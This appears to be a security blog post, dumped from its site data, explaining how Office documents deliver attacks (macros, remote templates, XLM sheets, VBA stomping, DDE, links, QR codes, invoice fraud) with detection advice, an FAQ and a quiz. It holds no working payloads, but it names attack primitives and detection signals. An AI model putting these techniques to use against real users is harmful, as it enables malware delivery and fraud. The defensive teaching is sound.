\"how\": \"The document carries code with no automatic entry point; the attacker relies on a fake notice ('enable editing to view') to get the user to run it manually.\",\n    \"tell\": \"A macro project with no Auto\u002FDocument_\u002FWorkbook_ procedure, paired with a document that is really just a lure.\",\n    \"detect\": \"Flag macro-bearing documents with no legitimate business reason, regardless of an auto-exec name, and treat the social-engineering copy as a signal.\"\n  },\n  {\n    \"name\": \"Remote template injection\",\n    \"how\": \"A code-free document carries an attachedTemplate relationship pointing at an external .dotm. The macro arrives later, when the application fetches the template, so the delivered file holds no vbaProject.bin at all.\",\n    \"tell\": \"An external template relationship in the .rels files with no local macro project to explain the document's behavior.\",\n    \"detect\": \"Parse relationship files for external template targets, block or alert on remote template fetches, and detonate with network access so the second stage materializes.\"\n  },\n  {\n    \"name\": \"XLM (Excel 4.0) macros\",\n    \"how\": \"Pre-VBA macro sheets carry commands in hidden or very-hidden sheets. VBA-only tooling does not see them, and they can invoke Win32 APIs or launch processes.\",\n    \"tell\": \"Concealed or very-hidden macro sheets (xl\u002Fmacrosheets) and Excel 4.0 functions like EXEC, CALL, or REGISTER.\",\n    \"detect\": \"Inspect the workbook sheet inventory, not just vbaProject.bin, and alert on hidden macro sheets and 4.0 function names.\"\n  },\n  {\n    \"name\": \"VBA stomping\",\n    \"how\": \"The attacker overwrites the visible VBA source while leaving the compiled per-version p-code intact. Excel may run the p-code, so the source you read is not the code that executes.\",\n    \"tell\": \"Divergence between the decompiled p-code and the visible source for the same module.\",\n    \"detect\": \"Compare p-code disassembly against source and treat any mismatch as malicious, because the source review is fiction.\"\n  },\n  {\n    \"name\": \"DDE (macro-less)\",\n    \"how\": \"A Dynamic Data Exchange field in a code-free document launches a command when the user accepts a prompt. No macro project is present at all.\",\n    \"tell\": \"DDE field codes referencing cmd.exe or PowerShell, and a prompt asking the user to allow a data link.\",\n    \"detect\": \"Flag DDE field codes in documents and treat a code-free document that still wants to run something as suspicious.\"\n  },\n  {\n    \"name\": \"Hyperlink lure\",\n    \"how\": \"The document is a pretext and the only payload is a link. The click lands on a credential page, a download, or an OAuth consent screen, so nothing in the file has to execute.\",\n    \"tell\": \"A document whose only value is one link, a sign-in-to-view banner, and display text that disagrees with the real target.\",\n    \"detect\": \"Resolve every URL in the document, including the ones behind display text, and treat a document that demands credentials as phishing rather than something to detonate.\"\n  },\n  {\n    \"name\": \"QR handoff\",\n    \"how\": \"The link is drawn as a QR code. Text scanners skip the image, and the reader continues on a phone that sits outside the proxy and its logging.\",\n    \"tell\": \"A QR code inside a document, especially beside scan-to-pay or scan-to-verify wording.\",\n    \"detect\": \"Decode every QR image in the document, score the target, and treat a document that pushes the reader to a phone as a callback vector.\"\n  },\n  {\n    \"name\": \"Invoice and vendor fraud\",\n    \"how\": \"The document is a payment request carrying a changed bank account. Nothing executes and nothing is clicked, because the transfer itself is the payload.\",\n    \"tell\": \"A payment instruction delivered as an attachment, a change of bank details mid-thread, and a brand-adjacent sending domain.\",\n    \"detect\": \"Verify banking changes on a number you already hold and require two people to approve a change of payee.\"\n  },\n  {\n    \"name\": \"Embedded object\",\n    \"how\": \"A document carries another file inside it, presented as an icon. Opening the object runs the embedded content instead of displaying it.\",\n    \"tell\": \"An embedded object whose display name does not match its real content type.\",\n    \"detect\": \"Enumerate embedded objects, compare the declared type against the actual one, and treat any mismatch as malicious.\"\n  }\n]\n","files",[166,1167,1168,1173,1178,1183,1188,1193,1198,1203,1207,1212,1217,1222,1227,1231,1235,1240,1245,1250,1255,1259,1263,1268,1273,1278,1283,1287,1291,1296,1301,1306,1311,1315,1319,1324,1329,1334,1339,1344,1349,1355,1361,1367,1373,1378,1383,1389,1395,1401,1407,1412,1417,1423,1429,1435,1441,1446,1451,1457,1463,1469,1475,1481],{"__ignoreMap":448},[276,1169,1170],{"class":82,"line":453},[276,1171,1172],{},"[\n",[276,1174,1175],{"class":82,"line":459},[276,1176,1177],{},"  {\n",[276,1179,1180],{"class":82,"line":465},[276,1181,1182],{},"    \"name\": \"Auto-exec VBA\",\n",[276,1184,1185],{"class":82,"line":471},[276,1186,1187],{},"    \"how\": \"A .docm or .xlsm carries VBA in word\u002FvbaProject.bin or xl\u002FvbaProject.bin. On open with content enabled, an AutoOpen or Document_Open entry point runs code that downloads and executes a payload.\",\n",[276,1189,1190],{"class":82,"line":477},[276,1191,1192],{},"    \"tell\": \"Capital-M macro streams in the project blob, an auto-exec procedure name, and download plus Shell primitives in the deobfuscated source.\",\n",[276,1194,1195],{"class":82,"line":483},[276,1196,1197],{},"    \"detect\": \"Extract macros without opening the document, flag auto-exec entry points, and detonate in a sandbox that simulates enabling content while watching for Office-spawns-script-host chains.\"\n",[276,1199,1200],{"class":82,"line":489},[276,1201,1202],{},"  },\n",[276,1204,1205],{"class":82,"line":495},[276,1206,1177],{},[276,1208,1209],{"class":82,"line":501},[276,1210,1211],{},"    \"name\": \"Triggerless macro + lure\",\n",[276,1213,1214],{"class":82,"line":507},[276,1215,1216],{},"    \"how\": \"The document carries code with no automatic entry point; the attacker relies on a fake notice ('enable editing to view') to get the user to run it manually.\",\n",[276,1218,1219],{"class":82,"line":513},[276,1220,1221],{},"    \"tell\": \"A macro project with no Auto\u002FDocument_\u002FWorkbook_ procedure, paired with a document that is really just a lure.\",\n",[276,1223,1224],{"class":82,"line":518},[276,1225,1226],{},"    \"detect\": \"Flag macro-bearing documents with no legitimate business reason, regardless of an auto-exec name, and treat the social-engineering copy as a signal.\"\n",[276,1228,1229],{"class":82,"line":524},[276,1230,1202],{},[276,1232,1233],{"class":82,"line":530},[276,1234,1177],{},[276,1236,1237],{"class":82,"line":536},[276,1238,1239],{},"    \"name\": \"Remote template injection\",\n",[276,1241,1242],{"class":82,"line":542},[276,1243,1244],{},"    \"how\": \"A code-free document carries an attachedTemplate relationship pointing at an external .dotm. The macro arrives later, when the application fetches the template, so the delivered file holds no vbaProject.bin at all.\",\n",[276,1246,1247],{"class":82,"line":547},[276,1248,1249],{},"    \"tell\": \"An external template relationship in the .rels files with no local macro project to explain the document's behavior.\",\n",[276,1251,1252],{"class":82,"line":552},[276,1253,1254],{},"    \"detect\": \"Parse relationship files for external template targets, block or alert on remote template fetches, and detonate with network access so the second stage materializes.\"\n",[276,1256,1257],{"class":82,"line":558},[276,1258,1202],{},[276,1260,1261],{"class":82,"line":564},[276,1262,1177],{},[276,1264,1265],{"class":82,"line":570},[276,1266,1267],{},"    \"name\": \"XLM (Excel 4.0) macros\",\n",[276,1269,1270],{"class":82,"line":576},[276,1271,1272],{},"    \"how\": \"Pre-VBA macro sheets carry commands in hidden or very-hidden sheets. VBA-only tooling does not see them, and they can invoke Win32 APIs or launch processes.\",\n",[276,1274,1275],{"class":82,"line":581},[276,1276,1277],{},"    \"tell\": \"Concealed or very-hidden macro sheets (xl\u002Fmacrosheets) and Excel 4.0 functions like EXEC, CALL, or REGISTER.\",\n",[276,1279,1280],{"class":82,"line":586},[276,1281,1282],{},"    \"detect\": \"Inspect the workbook sheet inventory, not just vbaProject.bin, and alert on hidden macro sheets and 4.0 function names.\"\n",[276,1284,1285],{"class":82,"line":592},[276,1286,1202],{},[276,1288,1289],{"class":82,"line":598},[276,1290,1177],{},[276,1292,1293],{"class":82,"line":604},[276,1294,1295],{},"    \"name\": \"VBA stomping\",\n",[276,1297,1298],{"class":82,"line":610},[276,1299,1300],{},"    \"how\": \"The attacker overwrites the visible VBA source while leaving the compiled per-version p-code intact. Excel may run the p-code, so the source you read is not the code that executes.\",\n",[276,1302,1303],{"class":82,"line":615},[276,1304,1305],{},"    \"tell\": \"Divergence between the decompiled p-code and the visible source for the same module.\",\n",[276,1307,1308],{"class":82,"line":620},[276,1309,1310],{},"    \"detect\": \"Compare p-code disassembly against source and treat any mismatch as malicious, because the source review is fiction.\"\n",[276,1312,1313],{"class":82,"line":626},[276,1314,1202],{},[276,1316,1317],{"class":82,"line":632},[276,1318,1177],{},[276,1320,1321],{"class":82,"line":638},[276,1322,1323],{},"    \"name\": \"DDE (macro-less)\",\n",[276,1325,1326],{"class":82,"line":644},[276,1327,1328],{},"    \"how\": \"A Dynamic Data Exchange field in a code-free document launches a command when the user accepts a prompt. No macro project is present at all.\",\n",[276,1330,1331],{"class":82,"line":650},[276,1332,1333],{},"    \"tell\": \"DDE field codes referencing cmd.exe or PowerShell, and a prompt asking the user to allow a data link.\",\n",[276,1335,1336],{"class":82,"line":656},[276,1337,1338],{},"    \"detect\": \"Flag DDE field codes in documents and treat a code-free document that still wants to run something as suspicious.\"\n",[276,1340,1342],{"class":82,"line":1341},37,[276,1343,1202],{},[276,1345,1347],{"class":82,"line":1346},38,[276,1348,1177],{},[276,1350,1352],{"class":82,"line":1351},39,[276,1353,1354],{},"    \"name\": \"Hyperlink lure\",\n",[276,1356,1358],{"class":82,"line":1357},40,[276,1359,1360],{},"    \"how\": \"The document is a pretext and the only payload is a link. The click lands on a credential page, a download, or an OAuth consent screen, so nothing in the file has to execute.\",\n",[276,1362,1364],{"class":82,"line":1363},41,[276,1365,1366],{},"    \"tell\": \"A document whose only value is one link, a sign-in-to-view banner, and display text that disagrees with the real target.\",\n",[276,1368,1370],{"class":82,"line":1369},42,[276,1371,1372],{},"    \"detect\": \"Resolve every URL in the document, including the ones behind display text, and treat a document that demands credentials as phishing rather than something to detonate.\"\n",[276,1374,1376],{"class":82,"line":1375},43,[276,1377,1202],{},[276,1379,1381],{"class":82,"line":1380},44,[276,1382,1177],{},[276,1384,1386],{"class":82,"line":1385},45,[276,1387,1388],{},"    \"name\": \"QR handoff\",\n",[276,1390,1392],{"class":82,"line":1391},46,[276,1393,1394],{},"    \"how\": \"The link is drawn as a QR code. Text scanners skip the image, and the reader continues on a phone that sits outside the proxy and its logging.\",\n",[276,1396,1398],{"class":82,"line":1397},47,[276,1399,1400],{},"    \"tell\": \"A QR code inside a document, especially beside scan-to-pay or scan-to-verify wording.\",\n",[276,1402,1404],{"class":82,"line":1403},48,[276,1405,1406],{},"    \"detect\": \"Decode every QR image in the document, score the target, and treat a document that pushes the reader to a phone as a callback vector.\"\n",[276,1408,1410],{"class":82,"line":1409},49,[276,1411,1202],{},[276,1413,1415],{"class":82,"line":1414},50,[276,1416,1177],{},[276,1418,1420],{"class":82,"line":1419},51,[276,1421,1422],{},"    \"name\": \"Invoice and vendor fraud\",\n",[276,1424,1426],{"class":82,"line":1425},52,[276,1427,1428],{},"    \"how\": \"The document is a payment request carrying a changed bank account. Nothing executes and nothing is clicked, because the transfer itself is the payload.\",\n",[276,1430,1432],{"class":82,"line":1431},53,[276,1433,1434],{},"    \"tell\": \"A payment instruction delivered as an attachment, a change of bank details mid-thread, and a brand-adjacent sending domain.\",\n",[276,1436,1438],{"class":82,"line":1437},54,[276,1439,1440],{},"    \"detect\": \"Verify banking changes on a number you already hold and require two people to approve a change of payee.\"\n",[276,1442,1444],{"class":82,"line":1443},55,[276,1445,1202],{},[276,1447,1449],{"class":82,"line":1448},56,[276,1450,1177],{},[276,1452,1454],{"class":82,"line":1453},57,[276,1455,1456],{},"    \"name\": \"Embedded object\",\n",[276,1458,1460],{"class":82,"line":1459},58,[276,1461,1462],{},"    \"how\": \"A document carries another file inside it, presented as an icon. Opening the object runs the embedded content instead of displaying it.\",\n",[276,1464,1466],{"class":82,"line":1465},59,[276,1467,1468],{},"    \"tell\": \"An embedded object whose display name does not match its real content type.\",\n",[276,1470,1472],{"class":82,"line":1471},60,[276,1473,1474],{},"    \"detect\": \"Enumerate embedded objects, compare the declared type against the actual one, and treat any mismatch as malicious.\"\n",[276,1476,1478],{"class":82,"line":1477},61,[276,1479,1480],{},"  }\n",[276,1482,1484],{"class":82,"line":1483},62,[276,1485,1486],{},"]\n",[151,1488,1490],{"id":1489},"how-do-you-defend-against-it","How do you defend against it?",[14,1492,1493,1494,1499],{},"The fix follows the tell. Extract and audit macros without opening the\ndocument, flag auto-exec entry points before reading bodies, detonate in a\nsandbox that clicks through \"enable content\" the way a user would, and alert\non the Office-spawns-script-host pair at the endpoint. Block macros in files\nfrom the internet where the business allows it. Microsoft blocks them by\ndefault now, and that one default removes most of the commodity path\n(",[21,1495,1498],{"href":1496,"rel":1497},"https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fdeployoffice\u002Fsecurity\u002Finternet-macros-blocked",[679],"internet macros blocked",").\nWhere a business needs macros, the behavioral chain is the backstop that\nobfuscation cannot move.",[14,1501,1502],{},"For the code-free half there is nothing to detonate, so the controls look\ndifferent. Resolve every link and QR target at analysis time, put a\nchange-of-bank-details call-back in front of the finance team, and stop treating\n\"no macros\" as a verdict. A document with no code can still be the most\nexpensive thing in the inbox.",[1504,1505,1506,1511,1514,1519,1522,1527,1533,1538],"faq",{"dataFaq":448},[14,1507,1508],{},[315,1509,1510],{},"Does blocking internet macros stop macro attacks?",[14,1512,1513],{},"Mostly, for the commodity path. Documents from the web open under policy that\nrefuses to run the code. But low-volume targeted lures, trusted-sender\ncompromise, and remote template fetches all route around the block, so\nendpoint behavioral detection still matters.",[14,1515,1516],{},[315,1517,1518],{},"Why not just alert on every document with a macro?",[14,1520,1521],{},"Because legitimate enterprise workflows run on macros: finance workbooks,\nreporting templates, and line-of-business forms all carry VBA. Alert on the\nauto-exec entry point plus suspicious primitives or a suspicious parent-child\nprocess chain, not on macro presence alone.",[14,1523,1524],{},[315,1525,1526],{},"Is a code-free document safe?",[14,1528,1529,1530,1532],{},"No. Remote template injection, XLM macro sheets, and DDE all deliver execution\nfrom a document with no ",[166,1531,208],{},", and the vectors above need no code at\nall: a link, a QR code, a changed bank account, or an embedded object. Read the\nwhole structure and the intent, not just the obvious part.",[14,1534,1535],{},[315,1536,1537],{},"What can a scanner even see in a document with no code?",[14,1539,1540],{},"Text, links, QR images, and embedded objects. Resolve those four and you have\ncovered the code-free half. The work is in following each one to its target, not\nin finding a signature that will not be there.",[151,1542,1544],{"id":1543},"test-yourself","Test yourself",[14,1546,1547],{},"A quick self-check on document macros. Pick an option to see the answer.",[443,1549,1553],{"className":1550,"code":1551,"language":1552,"meta":448,"style":448},"language-quiz shiki shiki-themes github-light github-dark","[\n  {\n    \"q\": \"Where does the VBA project live in a modern .xlsm workbook?\",\n    \"options\": [\"xl\u002FvbaProject.bin inside the ZIP package\", \"A plaintext script in xl\u002Fworksheets\u002F\", \"An XMP metadata block in docProps\u002F\"],\n    \"answer\": 0,\n    \"explain\": \"The .xlsm is a ZIP of XML parts plus one opaque OLE blob, xl\u002FvbaProject.bin, holding the compressed VBA source and compiled cache.\"\n  },\n  {\n    \"q\": \"Which finding best survives macro obfuscation?\",\n    \"options\": [\"A matching hash of the macro source\", \"The Office process spawning a script host at runtime\", \"The exact variable names in the VBA\"],\n    \"answer\": 1,\n    \"explain\": \"Obfuscation changes every static byte but cannot move the behavioral chain: the Office app must still spawn the interpreter that fetches and runs the payload.\"\n  },\n  {\n    \"q\": \"A .docx arrives with no vbaProject.bin but still wants to run code. What is the likely vector?\",\n    \"options\": [\"VBA stomping\", \"Remote template injection via an attachedTemplate relationship\", \"XLM macro sheets\"],\n    \"answer\": 1,\n    \"explain\": \"Remote template injection ships a code-free document and fetches a .dotm later, so there is no local macro project to find.\"\n  },\n  {\n    \"q\": \"Why can reading the VBA source mislead you?\",\n    \"options\": [\"VBA is always encrypted\", \"VBA stomping can leave p-code that differs from the visible source\", \"The source is only visible in Excel 4.0\"],\n    \"answer\": 1,\n    \"explain\": \"Stomping overwrites the source but can leave the compiled p-code intact, so the application may run code you never saw.\"\n  },\n  {\n    \"q\": \"A .docx arrives with no macro project but asks you to sign in to view it. What is the vector?\",\n    \"options\": [\"VBA stomping\", \"A hyperlink lure inside a code-free document\", \"Remote template injection\"],\n    \"answer\": 1,\n    \"explain\": \"Nothing needs to execute. The document is a pretext and the link is the payload, which is exactly why blocking macros does not help.\"\n  },\n  {\n    \"q\": \"Why is a QR code inside a document harder to filter than a link?\",\n    \"options\": [\"It is encrypted\", \"It is an image, and the target only resolves when a phone scans it\", \"It is smaller than a normal URL\"],\n    \"answer\": 1,\n    \"explain\": \"Text scanners read the page; the QR is a picture. The attack continues off-network, on a device outside the proxy and its logging.\"\n  },\n  {\n    \"q\": \"Which control actually stops a fraudulent invoice with changed bank details?\",\n    \"options\": [\"Blocking macros\", \"Detonating the attachment in a sandbox\", \"Confirming the change on a phone number you already hold\"],\n    \"answer\": 2,\n    \"explain\": \"No code runs and no link is opened, so only a process control catches it: call back on a known number and require a second approver.\"\n  }\n]\n","quiz",[166,1554,1555,1559,1563,1568,1573,1578,1583,1587,1591,1596,1601,1606,1611,1615,1619,1624,1629,1633,1638,1642,1646,1651,1656,1660,1665,1669,1673,1678,1683,1687,1692,1696,1700,1705,1710,1714,1719,1723,1727,1732,1737,1742,1747,1751],{"__ignoreMap":448},[276,1556,1557],{"class":82,"line":453},[276,1558,1172],{},[276,1560,1561],{"class":82,"line":459},[276,1562,1177],{},[276,1564,1565],{"class":82,"line":465},[276,1566,1567],{},"    \"q\": \"Where does the VBA project live in a modern .xlsm workbook?\",\n",[276,1569,1570],{"class":82,"line":471},[276,1571,1572],{},"    \"options\": [\"xl\u002FvbaProject.bin inside the ZIP package\", \"A plaintext script in xl\u002Fworksheets\u002F\", \"An XMP metadata block in docProps\u002F\"],\n",[276,1574,1575],{"class":82,"line":477},[276,1576,1577],{},"    \"answer\": 0,\n",[276,1579,1580],{"class":82,"line":483},[276,1581,1582],{},"    \"explain\": \"The .xlsm is a ZIP of XML parts plus one opaque OLE blob, xl\u002FvbaProject.bin, holding the compressed VBA source and compiled cache.\"\n",[276,1584,1585],{"class":82,"line":489},[276,1586,1202],{},[276,1588,1589],{"class":82,"line":495},[276,1590,1177],{},[276,1592,1593],{"class":82,"line":501},[276,1594,1595],{},"    \"q\": \"Which finding best survives macro obfuscation?\",\n",[276,1597,1598],{"class":82,"line":507},[276,1599,1600],{},"    \"options\": [\"A matching hash of the macro source\", \"The Office process spawning a script host at runtime\", \"The exact variable names in the VBA\"],\n",[276,1602,1603],{"class":82,"line":513},[276,1604,1605],{},"    \"answer\": 1,\n",[276,1607,1608],{"class":82,"line":518},[276,1609,1610],{},"    \"explain\": \"Obfuscation changes every static byte but cannot move the behavioral chain: the Office app must still spawn the interpreter that fetches and runs the payload.\"\n",[276,1612,1613],{"class":82,"line":524},[276,1614,1202],{},[276,1616,1617],{"class":82,"line":530},[276,1618,1177],{},[276,1620,1621],{"class":82,"line":536},[276,1622,1623],{},"    \"q\": \"A .docx arrives with no vbaProject.bin but still wants to run code. What is the likely vector?\",\n",[276,1625,1626],{"class":82,"line":542},[276,1627,1628],{},"    \"options\": [\"VBA stomping\", \"Remote template injection via an attachedTemplate relationship\", \"XLM macro sheets\"],\n",[276,1630,1631],{"class":82,"line":547},[276,1632,1605],{},[276,1634,1635],{"class":82,"line":552},[276,1636,1637],{},"    \"explain\": \"Remote template injection ships a code-free document and fetches a .dotm later, so there is no local macro project to find.\"\n",[276,1639,1640],{"class":82,"line":558},[276,1641,1202],{},[276,1643,1644],{"class":82,"line":564},[276,1645,1177],{},[276,1647,1648],{"class":82,"line":570},[276,1649,1650],{},"    \"q\": \"Why can reading the VBA source mislead you?\",\n",[276,1652,1653],{"class":82,"line":576},[276,1654,1655],{},"    \"options\": [\"VBA is always encrypted\", \"VBA stomping can leave p-code that differs from the visible source\", \"The source is only visible in Excel 4.0\"],\n",[276,1657,1658],{"class":82,"line":581},[276,1659,1605],{},[276,1661,1662],{"class":82,"line":586},[276,1663,1664],{},"    \"explain\": \"Stomping overwrites the source but can leave the compiled p-code intact, so the application may run code you never saw.\"\n",[276,1666,1667],{"class":82,"line":592},[276,1668,1202],{},[276,1670,1671],{"class":82,"line":598},[276,1672,1177],{},[276,1674,1675],{"class":82,"line":604},[276,1676,1677],{},"    \"q\": \"A .docx arrives with no macro project but asks you to sign in to view it. What is the vector?\",\n",[276,1679,1680],{"class":82,"line":610},[276,1681,1682],{},"    \"options\": [\"VBA stomping\", \"A hyperlink lure inside a code-free document\", \"Remote template injection\"],\n",[276,1684,1685],{"class":82,"line":615},[276,1686,1605],{},[276,1688,1689],{"class":82,"line":620},[276,1690,1691],{},"    \"explain\": \"Nothing needs to execute. The document is a pretext and the link is the payload, which is exactly why blocking macros does not help.\"\n",[276,1693,1694],{"class":82,"line":626},[276,1695,1202],{},[276,1697,1698],{"class":82,"line":632},[276,1699,1177],{},[276,1701,1702],{"class":82,"line":638},[276,1703,1704],{},"    \"q\": \"Why is a QR code inside a document harder to filter than a link?\",\n",[276,1706,1707],{"class":82,"line":644},[276,1708,1709],{},"    \"options\": [\"It is encrypted\", \"It is an image, and the target only resolves when a phone scans it\", \"It is smaller than a normal URL\"],\n",[276,1711,1712],{"class":82,"line":650},[276,1713,1605],{},[276,1715,1716],{"class":82,"line":656},[276,1717,1718],{},"    \"explain\": \"Text scanners read the page; the QR is a picture. The attack continues off-network, on a device outside the proxy and its logging.\"\n",[276,1720,1721],{"class":82,"line":1341},[276,1722,1202],{},[276,1724,1725],{"class":82,"line":1346},[276,1726,1177],{},[276,1728,1729],{"class":82,"line":1351},[276,1730,1731],{},"    \"q\": \"Which control actually stops a fraudulent invoice with changed bank details?\",\n",[276,1733,1734],{"class":82,"line":1357},[276,1735,1736],{},"    \"options\": [\"Blocking macros\", \"Detonating the attachment in a sandbox\", \"Confirming the change on a phone number you already hold\"],\n",[276,1738,1739],{"class":82,"line":1363},[276,1740,1741],{},"    \"answer\": 2,\n",[276,1743,1744],{"class":82,"line":1369},[276,1745,1746],{},"    \"explain\": \"No code runs and no link is opened, so only a process control catches it: call back on a known number and require a second approver.\"\n",[276,1748,1749],{"class":82,"line":1375},[276,1750,1480],{},[276,1752,1753],{"class":82,"line":1380},[276,1754,1486],{},[151,1756,1758],{"id":1757},"what-to-remember","What to remember",[159,1760,1761,1764,1767,1770],{},[162,1762,1763],{},"A document is a container, so read the container: the macro project, the\nrelationships, the embedded objects, and the links, before you read the words.",[162,1765,1766],{},"Execution needs consent, and consent is the attack surface. The code can also\narrive later (remote template) or hide elsewhere (XLM, DDE).",[162,1768,1769],{},"Half of these attacks carry no code at all. A link, a QR code, a changed bank\naccount, or an embedded object needs no macro to work, so a macro policy is not\na verdict.",[162,1771,1772],{},"The signal that survives obfuscation is behavioral: Office spawning a script\nhost, then a download, then a write.",[14,1774,1775],{},"Explore next:",[159,1777,1778,1785,1790,1795],{},[162,1779,1780,1784],{},[21,1781,1783],{"href":1782},"\u002Fblog\u002Ffile-attack-field-guide","File attack field guide, part 1",": the full\ntaxonomy this series builds on.",[162,1786,1787,1789],{},[21,1788,24],{"href":23},": the previous\ndeep dive, on the file type that is also a program.",[162,1791,1792,1794],{},[21,1793,832],{"href":831},": decode a QR code from a document and see\nwhere it really points.",[162,1796,1797,1801],{},[21,1798,1800],{"href":1799},"\u002Ftools\u002Fbase64","Base64 workbench",": decode an obfuscated stage-two string by\nhand.",[14,1803,1804],{},"Next in this series: PDF URL actions, then LNK and ISO containers, each with its\nown payload pattern and detection.",[14,1806,1807],{},"Useful references:",[159,1809,1810,1816,1822,1828,1834,1841],{},[162,1811,1812],{},[21,1813,1815],{"href":1496,"rel":1814},[679],"Macros from the internet are blocked by default in Office (Microsoft)",[162,1817,1818],{},[21,1819,1821],{"href":996,"rel":1820},[679],"Threat actors using MacroPack to deploy RAT payloads (Cisco Talos)",[162,1823,1824],{},[21,1825,1827],{"href":677,"rel":1826},[679],"TA450 uses embedded links in PDF attachments (Proofpoint)",[162,1829,1830],{},[21,1831,1833],{"href":843,"rel":1832},[679],"Business Email Compromise advisory (FBI IC3)",[162,1835,1836],{},[21,1837,1840],{"href":1838,"rel":1839},"https:\u002F\u002Fgithub.com\u002Fsublime-security\u002Fsublime-rules",[679],"Open-source phishing detection rules (Sublime Security)",[162,1842,1843],{},[21,1844,1847],{"href":1845,"rel":1846},"https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1137\u002F001\u002F",[679],"Office Template Macros, T1137.001 (MITRE ATT&CK)",[1849,1850,1851],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":448,"searchDepth":459,"depth":459,"links":1853},[1854,1855,1856,1862,1863,1864,1865,1866],{"id":153,"depth":459,"text":154},{"id":305,"depth":459,"text":306},{"id":662,"depth":459,"text":663,"children":1857},[1858,1859,1860,1861],{"id":670,"depth":465,"text":671},{"id":754,"depth":465,"text":755},{"id":836,"depth":465,"text":837},{"id":916,"depth":465,"text":917},{"id":989,"depth":459,"text":990},{"id":1012,"depth":459,"text":1013},{"id":1489,"depth":459,"text":1490},{"id":1543,"depth":459,"text":1544},{"id":1757,"depth":459,"text":1758},"Word document carrying a macro warning over a fake invoice",[1869,1870],"Security","Systems","Every way an Office document attacks: macros, remote templates, embedded objects, hyperlinks, QR handoffs and invoice fraud, plus the signals that catch each.",false,"md","blog\u002Ffile-attack-document-macros\u002Ffile-attack-document-macros-card.webp","document attacks, document macros, vbaProject.bin, AutoOpen, remote template injection, XLM macros, VBA stomping, DDE, embedded objects, document hyperlinks, QR code phishing, invoice fraud, business email compromise, detection",{},"file-attack-document-macros",true,"\u002Fblog\u002Ffile-attack-document-macros",{"title":5,"description":1871},{"name":1882,"part":465},"File Attack Deep Dives","blog\u002Ffile-attack-document-macros","2026-10-17","0A3mhCeby5Ef4p7PaczDfSsBa8KhNB6Uay-EuYKChg0",[1887,1895,1902,1910,1919,1926,1933,1940,1946,1952,1958,1964,1970,1973,1978,1984,1991,1998,2004,2011,2017,2023,2029,2035,2041,2047,2053,2059,2066,2073,2079,2085,2091,2097,2103,2109,2115,2121,2127,2133,2139,2145,2151,2158,2164,2170,2176,2183,2189,2195,2202,2209,2215,2222,2228,2235,2241,2248,2254,2260,2266,2272,2278,2284,2290,2296,2302,2308,2314,2320,2327,2333,2340,2346,2352,2358,2365,2371],{"path":1888,"title":1889,"description":1890,"categories":1891,"draft":1878,"year":1894,"series":6},"\u002Fblog\u002Fai-assisted-workstation","Building an AI-Assisted Personal Workstation","How I built a personal AI workstation: markdown knowledge base, portable agent skills, handoff-driven sessions. What worked, what broke, what I would change.",[1892,1893],"Productivity","Programming","2026-08-26",{"path":1896,"title":1897,"description":1898,"categories":1899,"draft":1872,"year":1901,"series":6},"\u002Fblog\u002Faws-s3-golang","Uploading images to AWS S3 in Golang","In this tutorial I cover how to upload, fetch and manage other operations for objects on AWS S3 in Golang",[1900,1893],"Golang","2020-01-12",{"path":1903,"title":1904,"description":1905,"categories":1906,"draft":1872,"year":1909,"series":6},"\u002Fblog\u002Fbooks-for-engineers","Best Books for Software Engineers","Best Books to help you build you software engineering career - ranging from fundamentats, interview prep to productivity.",[1907,1908],"Books","Life","2021-12-26",{"path":1911,"title":1912,"description":1913,"categories":1914,"draft":1872,"year":1918,"series":6},"\u002Fblog\u002Fbuilding-acrons","Building Acrons 🚀","Building Acrons, a one-stop tool to decode everyday acronyms like DIY, FOMO, and BRB without losing your flow.",[1915,1916,1917],"Side Projects","Web","Tools","2020-05-26",{"path":1920,"title":1921,"description":1922,"categories":1923,"draft":1872,"year":1925,"series":6},"\u002Fblog\u002Fcap-theorem","CAP Theorem Explained","Learn the concept and misconceptions around popular CAP theorem in system design.",[1924,1893],"System Design","2021-07-26",{"path":1927,"title":1928,"description":1929,"categories":1930,"draft":1872,"year":1932,"series":6},"\u002Fblog\u002Fcode-reviews","Code Review Checklist","Why code reviews matter, and best practices that catch bugs early and keep code quality high before merge.",[1931],"Engineering Principles","2020-07-20",{"path":1934,"title":1935,"description":1936,"categories":1937,"draft":1872,"year":1939,"series":6},"\u002Fblog\u002Fdark-mode","Add Dark mode to websites","Dark mode is ❤️️ Add it to your websites with little CSS and JS",[1938,1916],"Javascript","2020-07-04",{"path":1941,"title":1942,"description":1943,"categories":1944,"draft":1872,"year":1945,"series":6},"\u002Fblog\u002Fdate-time-golang","Working with Date and Time in Go","Learn how to use time in Golang - Multiple formats, locations and using date.",[1900,1893],"2020-10-09",{"path":1947,"title":1948,"description":1949,"categories":1950,"draft":1872,"year":1951,"series":6},"\u002Fblog\u002Fdefer-in-golang","Understanding Defer In Golang","Learn about defer keyword in golang and how it can help you avoid panics due to bugs.",[1900,1893],"2021-05-05",{"path":1953,"title":1954,"description":1955,"categories":1956,"draft":1872,"year":1957,"series":6},"\u002Fblog\u002Fenums-golang","Implementing Enums in Golang","Enums are a way to defined set of constant values. Learn how to implement enums in Go using iota with examples.",[1900,1893],"2021-12-18",{"path":1959,"title":1960,"description":1961,"categories":1962,"draft":1872,"year":1963,"series":6},"\u002Fblog\u002Fenvironment-variable-golang","Guide to Environment variables in Go","Learn what are environment variables and how to use them in Go",[1900,1893],"2020-08-14",{"path":1965,"title":1966,"description":1967,"categories":1968,"draft":1872,"year":1969,"series":6},"\u002Fblog\u002Ferror-handling-golang","Handle errors the right way — Golang","How to handle errors in golang to make your life 